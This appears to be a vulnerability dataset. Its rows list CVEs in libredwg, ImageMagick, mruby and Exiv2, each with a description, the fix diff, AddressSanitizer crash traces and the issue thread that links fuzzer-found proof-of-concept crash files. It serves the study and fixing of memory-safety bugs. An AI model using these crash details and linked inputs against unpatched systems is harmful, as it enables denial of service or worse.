0x0c587fff8e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c587fff8e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c587fff8e50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c587fff8e60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==3444==ABORTING
```
---
Comment #14 by linhlhq:
**15. heap-buffer-overflow in bit_read_B ../../src/bits.c:135**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000008%2Csig:06%2Csrc:000009%2Cop:flip1%2Cpos:27724
```
=================================================================
==6101==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60c000000998 at pc 0x55fc249a4769 bp 0x7ffe70852d70 sp 0x7ffe70852d60
READ of size 1 at 0x60c000000998 thread T0
#0 0x55fc249a4768 in bit_read_B ../../src/bits.c:135
#1 0x55fc2502c10f in section_string_stream ../../src/decode_r2007.c:1372
#2 0x55fc24a1f8b1 in read_2004_section_classes ../../src/decode.c:2488
#3 0x55fc24fdc0d0 in decode_R2004 ../../src/decode.c:3353
#4 0x55fc24fee08d in dwg_decode ../../src/decode.c:246
#5 0x55fc24980fae in dwg_read_file ../../src/dwg.c:211
#6 0x55fc2497f9d0 in get_bmp ../../programs/dwgbmp.c:111
#7 0x55fc2497f066 in main ../../programs/dwgbmp.c:280
#8 0x7fa7b531fb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#9 0x55fc2497f6c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9)
Address 0x60c000000998 is a wild pointer.
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../src/bits.c:135 in bit_read_B
Shadow bytes around the buggy address:
0x0c187fff80e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c187fff80f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c187fff8100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c187fff8110: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c187fff8120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c187fff8130: fa fa fa[fa]fa fa fa fa fa fa fa fa fa fa fa fa
0x0c187fff8140: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c187fff8150: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c187fff8160: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c187fff8170: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c187fff8180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==6101==ABORTING
```
---
Comment #15 by linhlhq:
**16.heap-buffer-overflow in bit_read_RC ../../src/bits.c:318**
POC:https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000015%2Csig:06%2Csrc:000009%2Cop:flip2%2Cpos:27803
```
=================================================================
==9805==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60e000000700 at pc 0x55924d56766b bp 0x7ffdb8bc7a50 sp 0x7ffdb8bc7a40
READ of size 1 at 0x60e000000700 thread T0
#0 0x55924d56766a in bit_read_RC ../../src/bits.c:318
#1 0x55924d543967 in dwg_bmp ../../src/dwg.c:468
#2 0x55924d53da29 in get_bmp ../../programs/dwgbmp.c:120
#3 0x55924d53d066 in main ../../programs/dwgbmp.c:280
#4 0x7f6cb0f7bb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#5 0x55924d53d6c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9)
0x60e000000700 is located 0 bytes to the right of 160-byte region [0x60e000000660,0x60e000000700)
allocated by thread T0 here:
#0 0x7f6cb17c7d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x55924d5d5f25 in read_2004_compressed_section ../../src/decode.c:2321
#2 0x55924e0804b2 (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0xdd24b2)
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../src/bits.c:318 in bit_read_RC
Shadow bytes around the buggy address:
0x0c1c7fff8090: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
0x0c1c7fff80a0: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
0x0c1c7fff80b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c1c7fff80c0: 00 00 00 00 fa fa fa fa fa fa fa fa 00 00 00 00
0x0c1c7fff80d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c1c7fff80e0:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1c7fff80f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1c7fff8100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1c7fff8110: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1c7fff8120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1c7fff8130: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==9805==ABORTING
``` | https://nvd.nist.gov/vuln/detail/CVE-2020-21834 | ||||
imagemagick.cve-2017-12644 | ImageMagick 7.0.6-1 has a memory leak vulnerability in ReadDCMImage in coders\dcm.c. | https://github.com/ImageMagick/ImageMagick/commit/a33f7498f9052b50e8fe8c8422a11ba84474cb42, https://github.com/ImageMagick/ImageMagick/issues/551 | CWE-772 | ImageMagick/ImageMagick | a33f7498f9052b50e8fe8c8422a11ba84474cb42~1 | diff --git a/coders/dcm.c b/coders/dcm.c
index 08d497f002b..55377c4f9cc 100644
--- a/coders/dcm.c
+++ b/coders/dcm.c
@@ -3270,7 +3270,7 @@ static Image *ReadDCMImage(const ImageInfo *image_info,ExceptionInfo *exception)
if ((quantum != 0) && (length != 0))
{
if (length > GetBlobSize(image))
- ThrowReaderException(CorruptImageError,
+ ThrowDCMException(CorruptImageError,
"InsufficientImageDataInFile");
if (~length >= 1)
data=(unsigned char *) AcquireQuantumMemory(length+1,quantum*
| https://github.com/ImageMagick/ImageMagick/issues/551 | ==2953==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 168 byte(s) in 1 object(s) allocated from:
#0 0x4def96 in __interceptor_malloc asan_malloc_linux.cc:66
#1 0x7f7ad266ef76 in AcquireMagickMemory memory.c:463:10
#2 0x7f7ad2982f84 in ReadDCMImage dcm.c:3073:33
#3 0x7f7ad245ef98 in ReadImage constitute.c:497:13
#4 0x7f7ad27d5bd9 in ReadStream stream.c:1045:9
#5 0x7f7ad245db3f in PingImage constitute.c:226:9
#6 0x7f7ad245e2e3 in PingImages constitute.c:327:10
#7 0x7f7ad1bbf126 in IdentifyImageCommand identify.c:319:18
#8 0x7f7ad1c7cdff in MagickCommandGenesis mogrify.c:183:14
#9 0x514f77 in MagickMain magick.c:151:10
#10 0x5149d1 in main magick.c:263:10
#11 0x7f7acc4baf44 in __libc_start_main libc-start.c:287
SUMMARY: AddressSanitizer: 168 byte(s) leaked in 1 allocation(s). | === https://github.com/ImageMagick/ImageMagick/issues/551 ===
Title: memory leak in ReadDCMImage
---
Body:
Version: ImageMagick 7.0.6-1 Q16 x86_64
```
#./magick identify $FILE
=================================================================
==2953==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 168 byte(s) in 1 object(s) allocated from:
#0 0x4def96 in __interceptor_malloc asan_malloc_linux.cc:66
#1 0x7f7ad266ef76 in AcquireMagickMemory memory.c:463:10
#2 0x7f7ad2982f84 in ReadDCMImage dcm.c:3073:33
#3 0x7f7ad245ef98 in ReadImage constitute.c:497:13
#4 0x7f7ad27d5bd9 in ReadStream stream.c:1045:9
#5 0x7f7ad245db3f in PingImage constitute.c:226:9
#6 0x7f7ad245e2e3 in PingImages constitute.c:327:10
#7 0x7f7ad1bbf126 in IdentifyImageCommand identify.c:319:18
#8 0x7f7ad1c7cdff in MagickCommandGenesis mogrify.c:183:14
#9 0x514f77 in MagickMain magick.c:151:10
#10 0x5149d1 in main magick.c:263:10
#11 0x7f7acc4baf44 in __libc_start_main libc-start.c:287
SUMMARY: AddressSanitizer: 168 byte(s) leaked in 1 allocation(s).
```
testcase: https://github.com/jgj212/poc/blob/master/leak-ReadDCMImage
Credit : ADLab of Venustech
---
Comment #1 by mikayla-grace:
Thanks for the problem report. We can reproduce it and will have a patch to fix it in GIT master branch @ https://github.com/ImageMagick/ImageMagick later today. The patch will be available in the beta releases of ImageMagick @ http://www.imagemagick.org/download/beta/ by sometime tomorrow.
---
Comment #2 by nohmask:
This was assigned CVE-2017-12644. | https://nvd.nist.gov/vuln/detail/CVE-2017-12644 | ||
mruby.cve-2022-0890 | NULL Pointer Dereference in GitHub repository mruby/mruby prior to 3.2. | https://huntr.dev/bounties/68e09ec1-6cc7-48b8-981d-30f478c70276 | https://github.com/mruby/mruby/commit/da48e7dbb20024c198493b8724adae1b842083aa, https://huntr.dev/bounties/68e09ec1-6cc7-48b8-981d-30f478c70276 | CWE-476 | mruby/mruby | da48e7dbb20024c198493b8724adae1b842083aa~1 | diff --git a/mrbgems/mruby-fiber/src/fiber.c b/mrbgems/mruby-fiber/src/fiber.c
index 0d85bedadc..322ed36ea8 100644
--- a/mrbgems/mruby-fiber/src/fiber.c
+++ b/mrbgems/mruby-fiber/src/fiber.c
@@ -208,15 +208,22 @@ fiber_switch(mrb_state *mrb, mrb_value self, mrb_int len, const mrb_value *a, mr
if (!c->ci->proc) {
mrb_raise(mrb, E_FIBER_ERROR, "double resume (current)");
}
- mrb_stack_extend(mrb, len+2); /* for receiver and (optional) block */
- b = c->stbase+1;
- e = b + len;
- while (b<e) {
- *b++ = *a++;
- }
if (vmexec) {
c->ci--; /* pop dummy callinfo */
}
+ if (len >= 15) {
+ mrb_stack_extend(mrb, 3); /* for receiver, args and (optional) block */
+ c->stbase[1] = mrb_ary_new_from_values(mrb, len, a);
+ len = 15;
+ }
+ else {
+ mrb_stack_extend(mrb, len+2); /* for receiver and (optional) block */
+ b = c->stbase+1;
+ e = b + len;
+ while (b<e) {
+ *b++ = *a++;
+ }
+ }
c->cibase->n = len;
value = c->stbase[0] = MRB_PROC_ENV(c->cibase->proc)->stack[0];
}
| https://nvd.nist.gov/vuln/detail/CVE-2022-0890 | ||||
mruby.cve-2022-1276 | Out-of-bounds Read in mrb_get_args in GitHub repository mruby/mruby prior to 3.2. Possible arbitrary code execution if being exploited. | https://huntr.dev/bounties/6ea041d1-e2aa-472c-bf3e-da5fa8726c25 | https://github.com/mruby/mruby/commit/c8c083cb750606b2da81582cd8e43b442bb143e6 | CWE-125 | mruby/mruby | c8c083cb750606b2da81582cd8e43b442bb143e6~1 | diff --git a/mrbgems/mruby-compiler/core/codegen.c b/mrbgems/mruby-compiler/core/codegen.c
index 8f7b5b0133..e222094be3 100644
--- a/mrbgems/mruby-compiler/core/codegen.c
+++ b/mrbgems/mruby-compiler/core/codegen.c
@@ -1905,7 +1905,7 @@ gen_assignment(codegen_scope *s, node *tree, node *rhs, int sp, int val)
}
}
if (tree->cdr->car) { /* keyword arguments */
- if (n == 14) {
+ if (n == 13 || n == 14) {
pop_n(n);
genop_2(s, OP_ARRAY, cursp(), n);
push();
| ASan (inferred) | https://nvd.nist.gov/vuln/detail/CVE-2022-1276 | |||
libredwg.cve-2021-39521 | An issue was discovered in libredwg through v0.10.1.3751. A NULL pointer dereference exists in the function bit_read_BB() located in bits.c. It allows an attacker to cause Denial of Service. | https://github.com/LibreDWG/libredwg/issues/262 | https://github.com/LibreDWG/libredwg/issues/262 | CWE-476 | LibreDWG/libredwg | https://github.com/LibreDWG/libredwg/issues/262 | ASAN:SIGSEGV
=================================================================
==33413==ERROR: AddressSanitizer: SEGV on unknown address 0x63001eedeec1 (pc 0x56001ae1aa1c bp 0x7ffc0f008820 sp 0x7ffc0f008570 T0)
#0 0x56001ae1aa1b in bit_read_BB /home/seviezhou/libredwg/src/bits.c:186
#1 0x56001ae3d11b in bit_read_BS /home/seviezhou/libredwg/src/bits.c:525
#2 0x56001ae3d11b in bit_read_TU /home/seviezhou/libredwg/src/bits.c:1891
#3 0x56001ae4d52b in bit_read_CMC /home/seviezhou/libredwg/src/bits.c:2610
#4 0x56001a5261c2 in dwg_decode_VIEWPORT_private /home/seviezhou/libredwg/src/dwg.spec:1674
#5 0x56001aef02ff in dwg_decode_VIEWPORT /home/seviezhou/libredwg/src/dwg.spec:1607
#6 0x56001aef02ff in dwg_decode_add_object /home/seviezhou/libredwg/src/decode.c:5583
#7 0x56001aef77b8 in read_2004_section_handles /home/seviezhou/libredwg/src/decode.c:2843
#8 0x56001aef77b8 in decode_R2004 /home/seviezhou/libredwg/src/decode.c:3682
#9 0x56001af060ba in dwg_decode /home/seviezhou/libredwg/src/decode.c:242
#10 0x56001adfcd94 in dwg_read_file /home/seviezhou/libredwg/src/dwg.c:251
#11 0x56001adfa242 in main /home/seviezhou/libredwg/programs/dwg2dxf.c:258
#12 0x7f13152a8b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#13 0x56001adfb2b9 in _start (/home/seviezhou/libredwg/programs/dwg2dxf+0xa8d2b9)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/seviezhou/libredwg/src/bits.c:186 bit_read_BB
==33413==ABORTING | === https://github.com/LibreDWG/libredwg/issues/262 ===
Title: A Segmentation fault in bits.c:186
---
Body:
## System info
Ubuntu X64, gcc (Ubuntu 5.5.0-12ubuntu1), dwg2dxf (latest master [bacd017](https://github.com/LibreDWG/libredwg/commit/bacd01778d20b7b79f28541ea7a60cafe25175aa))
## Configure
CFLAGS="-g -fsanitize=address" LDFLAGS="-fsanitize=address" ./configure
## Command line
./programs/dwg2dxf -b -m ./SEGV-bit_read_BB-bits-186 -o /dev/null
## Output
```
Segmentation fault (core dumped)
```
## AddressSanitizer output
```
ASAN:SIGSEGV
=================================================================
==33413==ERROR: AddressSanitizer: SEGV on unknown address 0x63001eedeec1 (pc 0x56001ae1aa1c bp 0x7ffc0f008820 sp 0x7ffc0f008570 T0)
#0 0x56001ae1aa1b in bit_read_BB /home/seviezhou/libredwg/src/bits.c:186
#1 0x56001ae3d11b in bit_read_BS /home/seviezhou/libredwg/src/bits.c:525
#2 0x56001ae3d11b in bit_read_TU /home/seviezhou/libredwg/src/bits.c:1891
#3 0x56001ae4d52b in bit_read_CMC /home/seviezhou/libredwg/src/bits.c:2610
#4 0x56001a5261c2 in dwg_decode_VIEWPORT_private /home/seviezhou/libredwg/src/dwg.spec:1674
#5 0x56001aef02ff in dwg_decode_VIEWPORT /home/seviezhou/libredwg/src/dwg.spec:1607
#6 0x56001aef02ff in dwg_decode_add_object /home/seviezhou/libredwg/src/decode.c:5583
#7 0x56001aef77b8 in read_2004_section_handles /home/seviezhou/libredwg/src/decode.c:2843
#8 0x56001aef77b8 in decode_R2004 /home/seviezhou/libredwg/src/decode.c:3682
#9 0x56001af060ba in dwg_decode /home/seviezhou/libredwg/src/decode.c:242
#10 0x56001adfcd94 in dwg_read_file /home/seviezhou/libredwg/src/dwg.c:251
#11 0x56001adfa242 in main /home/seviezhou/libredwg/programs/dwg2dxf.c:258
#12 0x7f13152a8b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#13 0x56001adfb2b9 in _start (/home/seviezhou/libredwg/programs/dwg2dxf+0xa8d2b9)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/seviezhou/libredwg/src/bits.c:186 bit_read_BB
==33413==ABORTING
```
## POC
[SEGV-bit_read_BB-bits-186.zip](https://github.com/LibreDWG/libredwg/files/5016490/SEGV-bit_read_BB-bits-186.zip)
---
Comment #1 by rurban:
The root cause is wrong error handling of obj_string_stream overflow (illegal str_dat stream bounds)
---
Comment #2 by rurban:
Fixed with 66a3484bda00ff5af2bdb79e41db3b066fdd0d00 | https://nvd.nist.gov/vuln/detail/CVE-2021-39521 | |||
exiv2.cve-2017-17669 | There is a heap-based buffer over-read in the Exiv2::Internal::PngChunk::keyTXTChunk function of pngchunk_int.cpp in Exiv2 0.26. A crafted PNG file will lead to a remote denial of service attack. | https://github.com/Exiv2/exiv2/issues/187 | CWE-125 | Exiv2/exiv2 | https://github.com/Exiv2/exiv2/issues/187 | ==2826==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60300000edb9 at pc 0x7f7c43e7a77a bp 0x7ffe0d1d6df0 sp 0x7ffe0d1d6de8
READ of size 1 at 0x60300000edb9 thread T0
#0 0x7f7c43e7a779 in Exiv2::Internal::PngChunk::keyTXTChunk(Exiv2::DataBuf const&, bool) /home/rg/fuzz_project/exiv2/exiv2_test/exiv2_github_1210/src/pngchunk_int.cpp:111:17
#1 0x7f7c43e7a000 in Exiv2::Internal::PngChunk::decodeTXTChunk(Exiv2::Image*, Exiv2::DataBuf const&, Exiv2::Internal::PngChunk::TxtChunkType) /home/rg/fuzz_project/exiv2/exiv2_test/exiv2_github_1210/src/pngchunk_int.cpp:78:23
#2 0x7f7c43d3ff3b in Exiv2::PngImage::readMetadata() /home/rg/fuzz_project/exiv2/exiv2_test/exiv2_github_1210/src/pngimage.cpp:445:21
#3 0x52f84c in Action::Print::printSummary() /home/rg/fuzz_project/exiv2/exiv2_test/exiv2_github_1210/src/actions.cpp:288:9
#4 0x52e389 in Action::Print::run(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /home/rg/fuzz_project/exiv2/exiv2_test/exiv2_github_1210/src/actions.cpp:240:44
#5 0x509598 in main /home/rg/fuzz_project/exiv2/exiv2_test/exiv2_github_1210/src/exiv2.cpp:166:19
#6 0x7f7c422e082f in __libc_start_main /build/glibc-bfm8X4/glibc-2.23/csu/../csu/libc-start.c:291
#7 0x4347b8 in _start (/home/rg/fuzz_project/exiv2/exiv2_test/exiv2_github_1210/build_clang_with_sym/bin/exiv2+0x4347b8)
0x60300000edb9 is located 0 bytes to the right of 25-byte region [0x60300000eda0,0x60300000edb9)
allocated by thread T0 here:
#0 0x506030 in operator new[](unsigned long) (/home/rg/fuzz_project/exiv2/exiv2_test/exiv2_github_1210/build_clang_with_sym/bin/exiv2+0x506030)
#1 0x55b31f in Exiv2::DataBuf::DataBuf(long) /home/rg/fuzz_project/exiv2/exiv2_test/exiv2_github_1210/include/exiv2/types.hpp:206:46
#2 0x7f7c43d3fb50 in Exiv2::PngImage::readMetadata() /home/rg/fuzz_project/exiv2/exiv2_test/exiv2_github_1210/src/pngimage.cpp:420:25
#3 0x52f84c in Action::Print::printSummary() /home/rg/fuzz_project/exiv2/exiv2_test/exiv2_github_1210/src/actions.cpp:288:9
#4 0x52e389 in Action::Print::run(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /home/rg/fuzz_project/exiv2/exiv2_test/exiv2_github_1210/src/actions.cpp:240:44
#5 0x509598 in main /home/rg/fuzz_project/exiv2/exiv2_test/exiv2_github_1210/src/exiv2.cpp:166:19
#6 0x7f7c422e082f in __libc_start_main /build/glibc-bfm8X4/glibc-2.23/csu/../csu/libc-start.c:291
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/rg/fuzz_project/exiv2/exiv2_test/exiv2_github_1210/src/pngchunk_int.cpp:111:17 in Exiv2::Internal::PngChunk::keyTXTChunk(Exiv2::DataBuf const&, bool)
Shadow bytes around the buggy address:
0x0c067fff9d60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff9d70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff9d80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff9d90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c067fff9db0: fa fa fa fa 00 00 00[01]fa fa 00 00 00 fa fa fa
0x0c067fff9dc0: 00 00 00 00 fa fa fd fd fd fd fa fa fd fd fd fd
0x0c067fff9dd0: fa fa fd fd fd fa fa fa 00 00 02 fa fa fa 00 00
0x0c067fff9de0: 02 fa fa fa 00 00 02 fa fa fa 00 00 02 fa fa fa
0x0c067fff9df0: 00 00 00 fa fa fa 00 00 00 01 fa fa 00 00 00 fa
0x0c067fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==2826==ABORTING | === https://github.com/Exiv2/exiv2/issues/187 ===
Title: CVE-2017-17669: heap-buffer-overflow in Exiv2::Internal::PngChunk::keyTXTChunk
---
Body:
## Description
There is a heap-buffer-overflow vulnerability in Exiv2.
The command is: ./exiv2 POC
Stack trace with asan:
```
==2826==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60300000edb9 at pc 0x7f7c43e7a77a bp 0x7ffe0d1d6df0 sp 0x7ffe0d1d6de8
READ of size 1 at 0x60300000edb9 thread T0
#0 0x7f7c43e7a779 in Exiv2::Internal::PngChunk::keyTXTChunk(Exiv2::DataBuf const&, bool) /home/rg/fuzz_project/exiv2/exiv2_test/exiv2_github_1210/src/pngchunk_int.cpp:111:17
#1 0x7f7c43e7a000 in Exiv2::Internal::PngChunk::decodeTXTChunk(Exiv2::Image*, Exiv2::DataBuf const&, Exiv2::Internal::PngChunk::TxtChunkType) /home/rg/fuzz_project/exiv2/exiv2_test/exiv2_github_1210/src/pngchunk_int.cpp:78:23
#2 0x7f7c43d3ff3b in Exiv2::PngImage::readMetadata() /home/rg/fuzz_project/exiv2/exiv2_test/exiv2_github_1210/src/pngimage.cpp:445:21
#3 0x52f84c in Action::Print::printSummary() /home/rg/fuzz_project/exiv2/exiv2_test/exiv2_github_1210/src/actions.cpp:288:9
#4 0x52e389 in Action::Print::run(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /home/rg/fuzz_project/exiv2/exiv2_test/exiv2_github_1210/src/actions.cpp:240:44
#5 0x509598 in main /home/rg/fuzz_project/exiv2/exiv2_test/exiv2_github_1210/src/exiv2.cpp:166:19
#6 0x7f7c422e082f in __libc_start_main /build/glibc-bfm8X4/glibc-2.23/csu/../csu/libc-start.c:291
#7 0x4347b8 in _start (/home/rg/fuzz_project/exiv2/exiv2_test/exiv2_github_1210/build_clang_with_sym/bin/exiv2+0x4347b8)
0x60300000edb9 is located 0 bytes to the right of 25-byte region [0x60300000eda0,0x60300000edb9)
allocated by thread T0 here:
#0 0x506030 in operator new[](unsigned long) (/home/rg/fuzz_project/exiv2/exiv2_test/exiv2_github_1210/build_clang_with_sym/bin/exiv2+0x506030)
#1 0x55b31f in Exiv2::DataBuf::DataBuf(long) /home/rg/fuzz_project/exiv2/exiv2_test/exiv2_github_1210/include/exiv2/types.hpp:206:46
#2 0x7f7c43d3fb50 in Exiv2::PngImage::readMetadata() /home/rg/fuzz_project/exiv2/exiv2_test/exiv2_github_1210/src/pngimage.cpp:420:25
#3 0x52f84c in Action::Print::printSummary() /home/rg/fuzz_project/exiv2/exiv2_test/exiv2_github_1210/src/actions.cpp:288:9
#4 0x52e389 in Action::Print::run(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /home/rg/fuzz_project/exiv2/exiv2_test/exiv2_github_1210/src/actions.cpp:240:44
#5 0x509598 in main /home/rg/fuzz_project/exiv2/exiv2_test/exiv2_github_1210/src/exiv2.cpp:166:19
#6 0x7f7c422e082f in __libc_start_main /build/glibc-bfm8X4/glibc-2.23/csu/../csu/libc-start.c:291
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/rg/fuzz_project/exiv2/exiv2_test/exiv2_github_1210/src/pngchunk_int.cpp:111:17 in Exiv2::Internal::PngChunk::keyTXTChunk(Exiv2::DataBuf const&, bool)
Shadow bytes around the buggy address:
0x0c067fff9d60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff9d70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff9d80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff9d90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c067fff9db0: fa fa fa fa 00 00 00[01]fa fa 00 00 00 fa fa fa
0x0c067fff9dc0: 00 00 00 00 fa fa fd fd fd fd fa fa fd fd fd fd
0x0c067fff9dd0: fa fa fd fd fd fa fa fa 00 00 02 fa fa fa 00 00
0x0c067fff9de0: 02 fa fa fa 00 00 02 fa fa fa 00 00 02 fa fa fa
0x0c067fff9df0: 00 00 00 fa fa fa 00 00 00 01 fa fa 00 00 00 fa
0x0c067fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==2826==ABORTING
```
## PoC
PoC https://github.com/Young-X/pocs/blob/master/Exiv2/issue_187
[](https://github.com/Young-X/pocs/blob/master/Exiv2/issue_187)
## Author
Credit to Young_X@VARAS, IIE
---
Comment #1 by clanmills:
Thanks, I'll take a look at this.
---
Comment #2 by carnil:
This issue was assigned CVE-2017-17669
---
Comment #3 by D4N:
@Young-X Which commit of exiv2 did you build? And can you please retry with the current HEAD?
---
Comment #4 by fgeek:
4be065595e4b81e876e32c9c4705f8313f896d43 crashes with similar heap-buffer-overflow output from ASan in amd64. Is there a good way to add this reproducer to automated tests?
---
Comment #5 by brianmay:
I believe the relevant code for the first error is this:
```
const byte *key = data.pData_ + (stripHeader ? 8 : 0);
// Find null string at end of key.
int keysize=0;
for ( ; key[keysize] != 0 ; keysize++)
{
// look if keysize is valid.
if (keysize >= data.size_)
throw Error(14);
}
```
I think there are several errors here, that are applicable if the key is too big or isn't correctly null terminated.
1. If `stripHeader` is True, we add 8 bytes to the pointer, but we don't decrease data.size_ by the corresponding amount. So we may read 8 bytes past the end of the buffer,
2. As per the for loop, after each iteration, we:
1. Increment `keysize`.
2. Check `key[keysize]`.
3. Check `keysize` isn't too big.
However, by the time we have checked `keysize` in step 3, we have already potentially read past the end of the buffer in step 2. i.e. off by one error.
---
Comment #6 by brianmay:
Here is a potential patch that I believe will solve the issues:
```diff
diff --git a/src/pngchunk.cpp b/src/pngchunk.cpp
index da4ccd01..b54bcdac 100644
--- a/src/pngchunk.cpp
+++ b/src/pngchunk.cpp
@@ -107,15 +107,17 @@ namespace Exiv2 {
{
// From a tEXt, zTXt, or iTXt chunk,
// we get the key, it's a null terminated string at the chunk start
- if (data.size_ <= (stripHeader ? 8 : 0)) throw Error(14);
- const byte *key = data.pData_ + (stripHeader ? 8 : 0);
+ const int offset = stripHeader ? 8 : 0;
+ if (data.size_ <= offset) throw Error(14);
+ const byte *key = data.pData_ + offset;
// Find null string at end of key.
int keysize=0;
- for ( ; key[keysize] != 0 ; keysize++)
+ while (key[keysize] != 0)
{
+ keysize++;
// look if keysize is valid.
- if (keysize >= data.size_)
+ if (keysize+offset >= data.size_)
throw Error(14);
}
```
---
Comment #7 by D4N:
@brianmay Thanks for your investigation. I believe you are right and the patch looks good too. Thanks a lot!
---
Comment #8 by clanmills:
Thank You, Brian for this contribution. Looks about right to me! If you'd like to investigate other issues, the team would value your contribution. We're all over-worked and under-paid volunteers. All assistance is appreciated! https://www.youtube.com/watch?v=3Fv57Lbhmqg
---
Comment #9 by D4N:
